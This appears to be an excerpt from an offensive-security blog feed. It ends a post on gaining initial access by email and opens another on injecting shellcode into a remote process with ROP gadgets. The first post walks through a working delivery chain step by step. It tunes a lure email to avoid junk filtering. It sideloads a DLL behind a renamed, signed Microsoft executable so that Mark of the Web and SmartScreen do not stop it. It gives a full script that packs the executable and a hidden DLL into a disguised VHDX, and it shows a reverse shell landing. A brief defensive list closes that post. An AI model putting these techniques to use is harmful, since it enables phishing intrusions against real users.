<span class="nb">echo</span> <span class="kd">select</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="kd">detach</span> <span class="kd">vdisk</span>
<span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>

<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Done</span>: <span class="nv">%VHD_PATH%</span> <span class="o">(</span><span class="kd">test</span> <span class="kd">mount</span> <span class="na">on</span> <span class="kd">target</span><span class="o">)</span>
<span class="nb">pause</span>
</code></pre></div></div>

<p>Ok cool, so that’s one approach.  We can simply upload our payload as an attachment.  But I’m not satisfied with that approach because it’s crazy restrictive and limited in nature.  Let’s continue, as I still need to explain <code class="language-plaintext highlighter-rouge">Mark of the Web</code> and <code class="language-plaintext highlighter-rouge">Smartscreen protection</code> and some other aspects of initial access that prove difficult for us to contend with.  But fear not, I have ways around those restrictions 😸</p>

<h2 id="my-preferred-approach-using-gmails-web-frontend-and-hyperlinks-for-your-payload">My Preferred Approach: Using Gmail’s Web Frontend and Hyperlinks for your Payload</h2>

<p>Right out of the gate I get sent to the dreaded Junk mail folder:</p>

<p><img width="1570" height="430" alt="image" src="https://github.com/user-attachments/assets/78dbb2c5-25d1-48f4-8057-3400d84e3ccd" /></p>

<p>Hmm, we need to rectify that.  Let’s see what we can do.  I’ll try sending from another gmail account that is older with a good reputation and change the subject and body a bit.</p>

<p><img width="1534" height="415" alt="image" src="https://github.com/user-attachments/assets/e65d15b7-6181-447f-b161-0c0c348db0de" /></p>

<p>Interesting huh?!  No junk folder this time.  This time I sent the email using a gmail address I’ve had for a very long time.  10+ years or so.  The other email was my g3tsyst3m@gmail.com email address and it’s exclusively used for offsec convos so who knows maybe it has a bad reputation 😆</p>

<p>I’m betting it’s a combination of factors: <strong>Reputational risk for email sender, Subject content, and Body content</strong>.  Oddly enough I don’t think the github link is considered suspicious by the email client 😸</p>

<p>Okay, so moving on.  I’ll click the link in the email we sent soon enough, but before I do, I need to keep you in suspense for a bit.  Sorry about that 😄 We still need to go over <code class="language-plaintext highlighter-rouge">Mark of the Web</code> and <code class="language-plaintext highlighter-rouge">SmartScreen</code> so you can truly understand the real battle we face when downloading payloads.  Whether it’s from an email or web browser, you’ll have to deal with this.  I’ll cover everything in our next section and then revisit our email we sent to the pentest “victim”.</p>

<h2 id="introducing-mark-of-the-web-and-smartscreen">Introducing Mark of the Web and SmartScreen</h2>

<p>When you download a file, depending on where it is being downloaded from, it will have the dreaded <code class="language-plaintext highlighter-rouge">Mark of the Web</code> property assigned to it.  What does this look like?  Glad you asked.  I’ll show you 😸</p>

<p>Let’s download a reverse shell python script that I’ve converted to an executable.  I’ve previously uploaded it to my Github account.  I’ve also changed the icon to somewhat resemble an adobe PDF document.  Take a look at the properties of the file.  Notice how it has a checkbox that says, “Unlock”?  That’s the Mark of the Web property I’ve been mentioning.</p>

<p><img width="1331" height="718" alt="image" src="https://github.com/user-attachments/assets/52ed3ace-d5ab-4d18-97f2-17a43b378702" /></p>

<p>If I try and execute this file as-is, I’ll trigger Windows Smart Screen.  You have to actually click <strong>“More Info”</strong> to even get presented the option of running the executable.</p>

<p><img width="670" height="626" alt="image" src="https://github.com/user-attachments/assets/dabadcc2-9c11-4821-8e16-585c93ffb015" /></p>

<p><img width="668" height="622" alt="image" src="https://github.com/user-attachments/assets/f7eb42e9-f55f-4093-950a-d1ed139ea54c" /></p>

<p>We don’t want the unsuspecting pentest customer to have to jump through hoops to execute our payload, right?  RIGHT!</p>

<p>Here’s how it would play out if I checked “Unblock”.  Notice I don’t get a prompt and the reverse shell works as intended:</p>

<p><img width="959" height="607" alt="image" src="https://github.com/user-attachments/assets/ddfc9817-a86a-4246-9e63-129e8dbcb869" /></p>

<p>So, that’s what we’re up against.  But as you can imagine, I have some tricks up my sleeve 😺  Keep following along to see how it all plays out!</p>

<h2 id="bypassing-mark-of-the-web-and-smartscreen-using-trusted-executable-reputation">Bypassing Mark of the Web and SmartScreen using Trusted Executable Reputation</h2>

<p>So the title sort of gives a hint as to how we can bypass both Mark of the Web and SmartScreen.  But before I delve further into that, just a quick recap.</p>

<ul>
  <li>We have an email that we’ve prepared both with and without attachments that bypasses the intitial basic email security filters</li>
  <li>Regardless of whether we have the user click an email link or open an email attachment, the contents will receive the MOTW property and require the user to approve the security prompts</li>
  <li>We wish to bypass both!</li>
</ul>

<p>Ok, this is pretty awesome.  Ready for it?  Are you?  okay here it is.  Go ahead and go into your <strong>C:/Windows/System32</strong> directory and locate <code class="language-plaintext highlighter-rouge">ApplicationHost.exe</code>.  You could have chosen any executable, but we’ll be picking on this one for today’s exercise 😼  Upload that executable to a location of your choosing.  I uploaded mine to one of my Github repos.  Go ahead and generate the link to your executable and download the file.</p>

<p>Right click on the downloaded file and check out the properties.  Still has MOTW right?</p>

<p><img width="544" height="704" alt="image" src="https://github.com/user-attachments/assets/34d5c6b7-32a7-4899-9a0a-ed8cb0bfd544" /></p>

<p>Double click on it.  What happens?</p>

<p>Yeah…it executes!  no SmartScreen.  Just pure glorious execution.  Now things are startin’ to get exciting! 😸</p>

<p>You can even click it in your Downloads window and it will open no problem.  No SmartScreen prompts.</p>

<p><img width="396" height="121" alt="image" src="https://github.com/user-attachments/assets/ad1f92c2-4761-4611-9680-2d3d8278dcf1" /></p>

<p>So why is that?  Why does it execute without SmartScreen interfering, especially since it still has the <strong>MOTW</strong> property unchecked.</p>

<p><strong>Simple answer</strong>: File reputation.</p>

<p>This is a signed / trusted Microsoft executable.  It has also been around for a very long time. Longevity and file signing increase the reputation of this executable considerably. Compare to my python to exe tester executable from earlier.  It didn’t stand a chance.  Unsigned, untrusted, just created, yeah you get it.  Similar to email sender reputation, files have reputational value and reputational risk too.  So now we’re left with a benign Microsoft executable that is trusted.  Where do we go from here?</p>

<h2 id="let-me-introduce-you-to-my-good-friends---a-trusted-executable-and-dll-sideloading-">Let me introduce you to my good friends - A Trusted Executable and DLL Sideloading 😸</h2>

<p>If you load up <strong>ApplicationFrameHost.exe</strong> into <strong>procmon</strong>, you’ll see some DLL’s that don’t have a home.  Yeah, you know what we’re going to have to do right?  Help one of those DLLs find a home!</p>

<p><img src="https://media1.tenor.com/m/dZHvxXepP3cAAAAC/golf-funny.gif" /></p>

<p>Here’s my procmon filter’s and also the results from applying the filters and running <strong>ApplicationFrameHost.exe</strong></p>

<p><img width="1384" height="992" alt="image" src="https://github.com/user-attachments/assets/5c36d5f8-bc81-49ec-b266-00d46158643f" /></p>

<p>As you can see, our trusted program is trying to find a home for a few DLLs and the one we’ll be helping out is: <strong>UMPDC.dll</strong></p>

<p>I also elected to use an x64 executable versus an x86.  I prefer more current architecture support personally 😸</p>

<p>Now we just need a simple test DLL to ensure this works as expected.  Here’s a very simple DLL template to test our DLL sideloading:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"pch.h"</span><span class="cp">
</span>
<span class="n">BOOL</span> <span class="n">APIENTRY</span> <span class="nf">DllMain</span><span class="p">(</span> <span class="n">HMODULE</span> <span class="n">hModule</span><span class="p">,</span>
                       <span class="n">DWORD</span>  <span class="n">ul_reason_for_call</span><span class="p">,</span>
                       <span class="n">LPVOID</span> <span class="n">lpReserved</span>
                     <span class="p">)</span>
<span class="p">{</span>
    <span class="k">switch</span> <span class="p">(</span><span class="n">ul_reason_for_call</span><span class="p">)</span>
    <span class="p">{</span>
    <span class="k">case</span> <span class="n">DLL_PROCESS_ATTACH</span><span class="p">:</span>
        <span class="n">MessageBoxA</span><span class="p">(</span><span class="nb">nullptr</span><span class="p">,</span> <span class="s">"Hey!"</span><span class="p">,</span> <span class="s">"It's a me...a messagebox that was DLL sideloaded!"</span><span class="p">,</span> <span class="n">MB_OK</span><span class="p">);</span>
    <span class="k">case</span> <span class="n">DLL_THREAD_ATTACH</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">DLL_THREAD_DETACH</span><span class="p">:</span>
    <span class="k">case</span> <span class="n">DLL_PROCESS_DETACH</span><span class="p">:</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Compile that, rename it to <strong>UMPDC.dll</strong>, and place your compiled DLL in the same directory as <strong>ApplicationFrameHost.exe</strong> and open <strong>ApplicationFrameHost.exe</strong></p>

<p><img width="855" height="520" alt="image" src="https://github.com/user-attachments/assets/8ee2dee6-bf88-4005-80fa-6e28bb8f7583" /></p>

<p>BAM!  Works like a charm.  😸 It will work exactly the same way if we package this and download + execute it from the web.  So, let’s package this where it can be sent in our email from earlier!</p>

<p>Here’s the kicker.  There are two files we need the user to download.  The only conceivable way we can do that, as I see it, are two ways:</p>

<ul>
  <li>Zip the two files and have the user extract them and run the ApplicationFrameHost.exe (which you will need to rename to something less generic!).  You may ask yourself,”but why have them extract the files.  Can’t they just open the zip and double click on the executable?”  Sort of, but it doesn’t work the way we want it to. Essentially, the executable has no clue where the DLL file is.  If you just double-click on the .exe, it will run without SmartScreen as expected, but your DLL won’t execute because it’s still stuck in limbo.  Ironic isn’t it, since we’re relying on DLL sideloading to load the DLL.  😸</li>
  <li>Zip the files inside of a VHDX file like we did earlier.  This is my recommended approach, but it comes with a catch.  The VMDK file will prompt for approval to mount, but once mounted the new drive will open automatically and present the user with both files.  The files contained within the VHDX will NOT require approval to execute.  You can click on the .exe and no SmartScreen will come up!</li>
</ul>

<h2 id="bringing-it-all-together">Bringing it all Together!</h2>

<p>Let’s wrap this up shall we!  I wish I could go further into all my research on this topic but I’ve got a lot on my plate these days so this post will have to do for the time being 😺  I’ll be sharing additional content to supplement this blog post on my ko-fi shop though, as per my usual routine!</p>

<p>Ok, let’s start by creating a fresh VHDX disk file and move our DLL and renamed <strong>ApplicationFrameHost.exe</strong> into it.  I also wish to make and preserve the hidden attribute for the DLL file.  Most folks might be put off by seeing a random DLL file plus it’s just tacky to leave that visible on a pentest.  Here’s my revised script to handle all of that.  Notice how I use <strong>xcopy.exe</strong> to handle the preservation of the hidden file attribute:</p>

<div class="language-bat highlighter-rouge"><div class="highlight"><pre class="highlight"><code>@echo <span class="na">off</span>
<span class="nb">setlocal</span> <span class="na">enabledelayedexpansion</span>

<span class="kd">set</span> <span class="kd">VHD_PATH</span><span class="o">=</span><span class="kd">C</span>:\Temp\DocumentUpdate.vhdx
<span class="kd">set</span> <span class="kd">VHD_SIZE_MB</span><span class="o">=</span><span class="m">64</span>
<span class="kd">set</span> <span class="kd">EXE_TO_COPY</span><span class="o">=</span><span class="kd">C</span>:\Temp\DocumentRetrieval.exe
<span class="kd">set</span> <span class="kd">SCRIPT_TO_COPY</span><span class="o">=</span><span class="kd">C</span>:\Temp\UMPDC.dll

<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Creating</span> <span class="m">1</span><span class="kd">GB</span> <span class="kd">VHDX</span>...
<span class="o">(</span>
<span class="nb">echo</span> <span class="kd">create</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span> <span class="kd">maximum</span><span class="o">=</span><span class="nv">%VHD_SIZE_MB%</span> <span class="nb">type</span><span class="o">=</span><span class="kd">expandable</span>
<span class="nb">echo</span> <span class="kd">select</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="kd">attach</span> <span class="kd">vdisk</span>
<span class="nb">echo</span> <span class="kd">create</span> <span class="kd">partition</span> <span class="kd">primary</span>
<span class="nb">echo</span> <span class="nb">format</span> <span class="kd">fs</span><span class="o">=</span><span class="kd">ntfs</span> <span class="nb">label</span><span class="o">=</span><span class="s2">"Documents2026"</span> <span class="kd">quick</span>
<span class="nb">echo</span> <span class="kd">assign</span> <span class="kd">letter</span><span class="o">=</span><span class="kd">X</span>
<span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>

<span class="c">REM Detect actual letter if X taken</span>
<span class="k">for</span> <span class="vm">%%d</span> <span class="k">in</span> <span class="o">(</span><span class="kd">X</span> <span class="kd">Y</span> <span class="kd">Z</span> <span class="kd">W</span> <span class="kd">V</span> <span class="kd">U</span> <span class="kd">T</span> <span class="kd">S</span> <span class="kd">R</span> <span class="kd">Q</span> <span class="kd">P</span> <span class="kd">O</span> <span class="kd">N</span> <span class="kd">M</span> <span class="kd">L</span> <span class="kd">K</span> <span class="kd">J</span> <span class="kd">I</span> <span class="kd">H</span> <span class="kd">G</span> <span class="kd">F</span> <span class="kd">E</span> <span class="kd">D</span> <span class="kd">C</span> <span class="kd">B</span> <span class="kd">A</span><span class="o">)</span> <span class="k">do</span> <span class="o">(</span>
    <span class="k">if</span> <span class="ow">exist</span> <span class="vm">%%d</span>:\ <span class="o">(</span>
        <span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Drive</span> <span class="vm">%%d</span>: <span class="kd">available</span><span class="o">?</span> <span class="kd">No</span>.
    <span class="o">)</span> <span class="k">else</span> <span class="o">(</span>
        <span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Assigning</span> <span class="vm">%%d</span>:
        <span class="nb">echo</span> <span class="kd">select</span> <span class="kd">disk</span> <span class="nv">!disknum!</span>
        <span class="nb">echo</span> <span class="kd">select</span> <span class="kd">partition</span> <span class="m">1</span>
        <span class="nb">echo</span> <span class="kd">assign</span> <span class="kd">letter</span><span class="o">=</span><span class="vm">%%d</span>
        <span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>
        <span class="kd">set</span> <span class="kd">DRIVE_LETTER</span><span class="o">=</span><span class="vm">%%d</span>
        <span class="k">goto</span> <span class="nl">:copy</span>
    <span class="o">)</span>
<span class="o">)</span>

<span class="nl">:copy</span>

<span class="nb">xcopy</span> <span class="s2">"</span><span class="nv">%EXE_TO_COPY%</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">%DRIVE_LETTER%</span><span class="s2">:\"</span>
<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Copied</span> <span class="kd">to</span> <span class="nv">%DRIVE_LETTER%</span>:\

<span class="nb">xcopy</span> <span class="s2">"</span><span class="nv">%SCRIPT_TO_COPY%</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">%DRIVE_LETTER%</span><span class="s2">:\"</span> <span class="na">/h
</span><span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Copied</span> <span class="kd">to</span> <span class="nv">%DRIVE_LETTER%</span>:\

<span class="nb">echo</span> <span class="kd">select</span> <span class="kd">vdisk</span> <span class="kd">file</span><span class="o">=</span><span class="s2">"</span><span class="nv">%VHD_PATH%</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="kd">detach</span> <span class="kd">vdisk</span>
<span class="o">)</span> <span class="o">|</span> <span class="nb">diskpart</span> <span class="o">&gt;</span> <span class="kr">nul</span> <span class="m">2</span><span class="o">&gt;&amp;</span><span class="m">1</span>

<span class="nb">echo</span> <span class="o">[+]</span> <span class="kd">Done</span>: <span class="nv">%VHD_PATH%</span> <span class="o">(</span><span class="kd">test</span> <span class="kd">mount</span> <span class="na">on</span> <span class="kd">target</span><span class="o">)</span>
<span class="nb">pause</span>
</code></pre></div></div>

<p>Go ahead and run that and be sure to zip the outputted VHDX file.  It’s almost 70MB otherwise 😆</p>

<p><img width="1000" height="695" alt="image" src="https://github.com/user-attachments/assets/6c0b5b6f-7ec3-4236-b6ca-d8e4e054eb2a" /></p>

<p>Now upload that zip file to your web host of choice and generate a link to it.  I’m still using Github for the purposes of this blog post.  Go ahead and prepare your email and add the link to the body of the email, and send it.  I’m using gmail to send the email per our example from earlier:</p>

<p><img width="669" height="630" alt="image" src="https://github.com/user-attachments/assets/5ce15083-8fcc-4938-81a0-9191e5a34907" /></p>

<p>Here’s the receiving of the email from my other email address, an <strong>outlook.com</strong> email:</p>

<p><img width="1569" height="550" alt="image" src="https://github.com/user-attachments/assets/544ace4b-8929-47bc-bdd0-b19723d16602" /></p>

<p>Let’s click the link!  Notice we receive no browser security warnings and the file downloads.</p>

<p><img width="1145" height="757" alt="image" src="https://github.com/user-attachments/assets/304a9492-445d-4437-ac1f-3fdfbfcd139a" /></p>

<p><img width="454" height="230" alt="image" src="https://github.com/user-attachments/assets/95de5e7d-ba17-48cb-a478-9340a49d7b65" /></p>

<p>Click on it.  The zip opens without a prompt:</p>

<p><img width="852" height="242" alt="image" src="https://github.com/user-attachments/assets/e6c41b1e-5604-4bd8-91be-426d3e601d86" /></p>

<p>Now, double click the VHDX file.  You will receive an initial prompt, which can’t be avoided to my knowledge.  Go ahead and accept:</p>

<p><img width="645" height="536" alt="image" src="https://github.com/user-attachments/assets/0b40cca9-c0ff-412e-9acf-6ece69624dde" /></p>

<p>You’ll notice we are greeted with our Payload and no DLL file is visible (unless the client has show hidden files enabled):</p>

<p><img width="802" height="298" alt="image" src="https://github.com/user-attachments/assets/b529d10a-82e4-473a-8d94-2c16c0adf724" /></p>

<p>Double click our Payload.  Notice no SmartScreen warning and our payload runs as expected and DLL sideloads our planted DLL!  My dll is a reverse shell btw, as you can see in the screenshot below 😸</p>

<p><img width="1672" height="858" alt="image" src="https://github.com/user-attachments/assets/0c6ec51f-e77a-4923-8ecc-089e4de87de8" /></p>

<p>Thus completes my take on ways to tackle initial access using email and bypassing MOTW ad SmartScreen Restrictions 😅</p>

<h2 id="️blue-team-defensive-strategies-to-avoid-this-attack-vector-️">🛡️Blue Team Defensive Strategies to Avoid this Attack Vector 🛡️</h2>

<p><strong>Here’s a quick overview on some ways you can get in front of this type of initial access attack vector:</strong></p>

<ul>
  <li>Block all these email attachments, to name a few: (.ZIP, .ISO, .IMG, .VHD, .VHDX, .EXE, .JS, .VBS, .HTA, .PS1, .PY)</li>
  <li>Have your EDR solution monitor for LOTL (<strong>Living off the Land</strong>) binaries being used outside of the System32 folder</li>
  <li>Disallow execution of disk files for your average users.  IT techs are really the only users who need this functionality</li>
  <li>Convince Microsoft to stop allowing DLL sideloading, though the onus is generally on the programmer to enforce loading all DLLs from strict paths such as System32 😸</li>
  <li>Be restrictive on the types of attachments and outside emails you permit sending to your organization</li>
</ul>

<h2 id="source-code">Source Code</h2>

<p><strong>Source code for the basic DLL that executes a MessageBox (Be sure to set the Build to ‘Release’ in Visual Studio!):</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/blob/main/2026-2-21-Initial%20Access%20and%20Outsmarting%20SmartScreen/dllmain.cpp">DLL Source Code</a></p>

<p><strong>Source code for the final BAT script that creates the VHDX file:</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/blob/main/2026-2-21-Initial%20Access%20and%20Outsmarting%20SmartScreen/createvhdx.bat">VHDX Source Code</a></p>

<h2 id="-bonus-content-for-members-sapphire-tier-">🎁 <strong><em>Bonus Content for Members! (Sapphire Tier)</em></strong> 🎁</h2>

<p>📓Script for Sending emails via the commandline: <a href="https://ko-fi.com/s/266c89f70c">Send an email using SWAKS in Linux via Bash</a> 📓
📹 Video demonstration of using the Script (<strong>Video link located in description in the ko-fi shop: You MUST be signed in with your gmail address to view the private video!</strong>): <a href="https://ko-fi.com/s/266c89f70c">Video demonstration</a> 📹</p>

<p>📹 Video Walkthrough for Sending your initial access payload: <a href="https://ko-fi.com/s/4e59907ab1">Video demonstration</a> 📹</p>

<h2 id="-bonus-content-for-members-emerald--diamond-tiers-">🎁 <strong><em>Bonus Content for Members! (Emerald + Diamond Tiers)</em></strong> 🎁</h2>

<ul>
  <li>🗒️ DLL source code that includes Module stomping + reverse shell shellcode (127.0.0.1:9001) and Threading to defeat Loader Lock: <a href="https://ko-fi.com/s/dee5b5c3f3">Source Code</a></li>
  <li>🗒️ Source code for my Python download and exec shellcode in Memory Script: <a href="https://ko-fi.com/s/0938624695">Source Code</a></li>
</ul>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><a href="https://app.any.run/tasks/d0f36e4e-066b-4149-b27e-5fea939a6e48?p=6999d551ec59c7e2c66d9bda">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Initial Access" /><category term="Initial Access" /><category term="Pentest" /><category term="SmartScreen" /><category term="Pentesting Payload" /><category term="2026" /><category term="MOTW" /><category term="Bypasssing Mark of the Web" /><category term="g3tsyst3m" /><category term="email payloads" /><category term="email attachment bypass EDR" /><category term="Initial Foothold" /><summary type="html"><![CDATA[I’ve had a number of people ask me what approaches I have taken to secure that initial foothold on a machine/network during a pentest engagement. Well, the blunt and honest answer to that question is…it depends 😸 Initial access comes in many forms and depending on the type of pentest engagement, you will be afforded or NOT afforded various types of “lures” you can use to acquire that first foothold. Most clients are open to the pentest team exhausting all their resources and offensive tooling to truly assess the client’s security controls. If not they should be. Because in a real world attack, you better believe the threat actor will not hold back! In today’s post, I’ll be going over a very traditional approach to achieving initial access using email as our attack vector of choice. I’ll go over various ways to send the email (gui and non-gui) and using attachments versus links. I’ll also explain how to contend with MOTW (Mark of the Web) and SmartScreen security restrictions on your downloaded payloads for the modern Windows 11 environment.]]></summary></entry><entry><title type="html">Living off the Process</title><link href="https://g3tsyst3m.com/lotp/Living-off-the-Process/" rel="alternate" type="text/html" title="Living off the Process" /><published>2026-01-29T00:00:00+00:00</published><updated>2026-01-29T00:00:00+00:00</updated><id>https://g3tsyst3m.com/lotp/Living%20off%20the%20Process</id><content type="html" xml:base="https://g3tsyst3m.com/lotp/Living-off-the-Process/"><![CDATA[<p>Hello again everyone!  Hope the start to the new year is treating you well.  I am excited to share a new blog post with you!  Furthermore, I’d consider the content shared in today’s post to be the most time I’ve spent in researching a particular offensive security topic/technique 😹 I’d say I spent well over a month looking into this exciting topic and I wanted to make sure I had all my research completed before I jumped in to making a post.  Without further ado, I give you my take on what I’d like to call: <code class="language-plaintext highlighter-rouge">Living off the Process</code>!  This is a technique that does as the name implies: We use what is already available to us in the remote process of our choosing to accomplish a given goal.  In this case, the goal will be to write shellcode indirectly into the remote process with as low of a footprint as possible.  When I say indirectly, I mean we won’t be using <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to write the shellcode.  That API does play a small role, but ultimately we will be indirectly writing our shellcode in 8 byte chunks using ROP gadgets and assembly stubs all made available in the remote process.  We will also avoid the creation of RWX regions of memory.  Here’s a quick overview on how it all works.  We will be looking for:</p>

<ul>
  <li><strong>Existing RWX memory regions already available that were created by the process of interest</strong></li>
  <li><strong>Existing ROP gadgets to help us write our shellcode</strong></li>
  <li><strong>Hijacking an existing thread within the remote process to manipulate / set register values via SetThreadContext</strong></li>
  <li><strong>Using registers, assembly stubs + our collected gadgets to copy shellcode in 8 byte chunks into one of the previously discovered RWX regions of memory (This is the most exciting aspect of the technique in my personal opinion😸)</strong></li>
  <li><strong>Set RSP to a fake stack which will point to our hijacked region of memory holding our shellcode and execute the shellcode!</strong></li>
  <li><strong>Profit!</strong></li>
</ul>

<p>At no point will we use conventional means of writing our shellcode into the remote process with the exception of writing assembly stubs which will contain 8 byte increments of our shellcode.  It will all make more sense in due time I promise, just keep on reading 😸  Essentially, we will be truly exhausting all that is already available to the remote process itself.  This concept of <code class="language-plaintext highlighter-rouge">Living off the Process</code> has intrigued me for quite some time.  I don’t know how novel the concept really is.  I did know this: I knew it was possible and had to dive in and research it to truly understand the capabilities of such a technique.  I’m on a modern Windows 11 25h2 with all security features enabled btw.  I’ve got a lot of information to cover, so let’s get started!</p>

<h2 id="so-living-off-the-process-huh">So, Living off the Process huh?</h2>

<p>Yes! 😆  It may seem overkill to do all the aforementioned prepwork just to copy shellcode into a remote process, but the benefits far outweigh the labor involved.  Think about it: If everything that we need is already available to a given process, all we are required to do is to take the existing artifacts and repurpose them for our needs.  No need for overusing WriteProcessMemory, VirtualAlloc, injecting a DLL, etc.  This way, everything you need to manipulate the remote process is self-contained and already available to the process.  Furthermore, we’ll be working with a process that EDR has already blessed 😸  So, just like Living off the Land, we take a similar approach.  Using what’s already available to the process, which in turn should lower our EDR footprint on the machine considerably.</p>

<h2 id="video-teaser-for-an-in-depth-technical-walkthrough-of-this-blog-post">Video Teaser for an In-Depth Technical Walkthrough of this Blog Post</h2>

<iframe width="560" height="315" src="https://www.youtube.com/embed/6-eOvC7Rh28" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>Full In-Depth Walkthrough can be found at my ko-fi shop: 📹 <a href="https://ko-fi.com/s/35ab60ff88">Ko-Fi Subscribers</a> 📹</p>

<h2 id="part---1-collecting-rop-gadgets">Part - 1: Collecting ROP Gadgets</h2>

<p>Since we will be using Registers (you know…RAX, RBX, RCX, RDX, R8, R9, and so on… ) to eventually write our shellcode, we need to find existing ROP gadgets in the process to accomplish this.  The most important ROP gadget we will be using is:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span> <span class="p">[</span><span class="nb">rax</span><span class="p">],</span> <span class="nv">r8</span><span class="c1">; ret</span>
</code></pre></div></div>

<p>Where <code class="language-plaintext highlighter-rouge">R8</code> will hold 8-byte chunks of our shellcode and <code class="language-plaintext highlighter-rouge">RAX</code> will point to the memory address for the shellcode in the remote process.  You can use any two registers to handle this, I just so happened to choose these two because they seemed to be available across many of the processes I tested on my Windows 11 box.</p>

<p>So, here’s how it works: We will be copying the initial 8 bytes, then increasing both RAX and R8 by 8 to get the next 8 bytes in memory and the next 8 bytes of shellcode respectively.  I soon realized it’s difficult locating <code class="language-plaintext highlighter-rouge">add r8, 8; ret</code> and <code class="language-plaintext highlighter-rouge">add rax, 8; ret</code> gadgets.  Even <code class="language-plaintext highlighter-rouge">inc r8; ret</code> and <code class="language-plaintext highlighter-rouge">inc rax; ret</code> were difficult to locate.  So, I went with another angle to accomplish the portion of my ROP gadget chain that would handle the 8 byte increments which you’ll see later.  For now, let me show you how I found these gadgets.  I’m old school, so I don’t always use Ropper.  I like to work exclusively within x64dbg for most of my gadget searching needs these days.  Here’s a quick crash course on how to find gadgets using <code class="language-plaintext highlighter-rouge">x64Dbg</code>:</p>

<p><strong>Step 1: Choose File, Attach, and find a process you want to search for gadgets in</strong></p>

<p><img width="656" height="383" alt="image" src="https://github.com/user-attachments/assets/6de815b0-87ef-4099-8d69-59f2630a41b0" /></p>

<p><strong>Step 2: Right click on the main window and following the visual below</strong></p>

<p><img width="568" height="555" alt="image" src="https://github.com/user-attachments/assets/6fb34ead-bac1-45cc-8f7c-52790e8bc1fe" /></p>

<p><strong>Step 3: Type in mov [rax], r8 in the window that pops up and hit enter.  This is so we can understand what the machinecode instructions are for this command</strong></p>

<ul>
  <li><strong>Double-click on any entry from the listed results</strong></li>
</ul>

<p><img width="227" height="143" alt="image" src="https://github.com/user-attachments/assets/2a9cbcba-4778-4595-be96-87588e192c24" /></p>

<p><strong>Copy the machinecode/shellcode!</strong></p>

<p><img width="386" height="21" alt="image" src="https://github.com/user-attachments/assets/8dcc13e0-f00f-4686-8b2e-f1ed7477c4f6" /></p>

<p><strong>Next, we need to find the gadget with the <code class="language-plaintext highlighter-rouge">ret</code> command included.  so, mov [rax], r8; ret.  We can do that easily enough.  Follow along with the visuals below to use the Pattern Search feature in x64dbg:</strong></p>

<p><img width="565" height="493" alt="image" src="https://github.com/user-attachments/assets/8308be32-be12-45c0-b39e-3160259f78f2" /></p>

<p><strong>Type in the machine code values you acquired earlier: `4C 89 00 C3’ (C3 = ret in machine code) and hit enter</strong></p>

<p><img width="433" height="237" alt="image" src="https://github.com/user-attachments/assets/12b3e7c6-b490-4d8c-a195-e7e24b7855ea" /></p>

<p><strong>Double-click on any you find in the returned results:</strong></p>

<p><img width="171" height="103" alt="image" src="https://github.com/user-attachments/assets/789ac61a-931e-4c40-9c6d-1daea57814fb" /></p>

<p>You should see your ROP gadget and the module it was found in!  This confirms that particular gadget lives in this process.  W00t!</p>

<p><img width="441" height="123" alt="image" src="https://github.com/user-attachments/assets/b11c9229-1e95-4be7-9a40-4c458438ab22" /></p>

<p>That’s it!  Now that you know how to find gadgets, you’re good to go.  Let me show you the code for using them now.  You’ll see we add in our machine code instructions we found in x64dbg.  Machine code is the lowest level form of Assembly code.  so in the case of <code class="language-plaintext highlighter-rouge">mov [rax], r8; ret', </code>0x4C, 0x89, 0x00, 0xC3` = machine code representation of the assembly code instructions.  I should have said that earlier but alas I got ahead of myself 😸</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
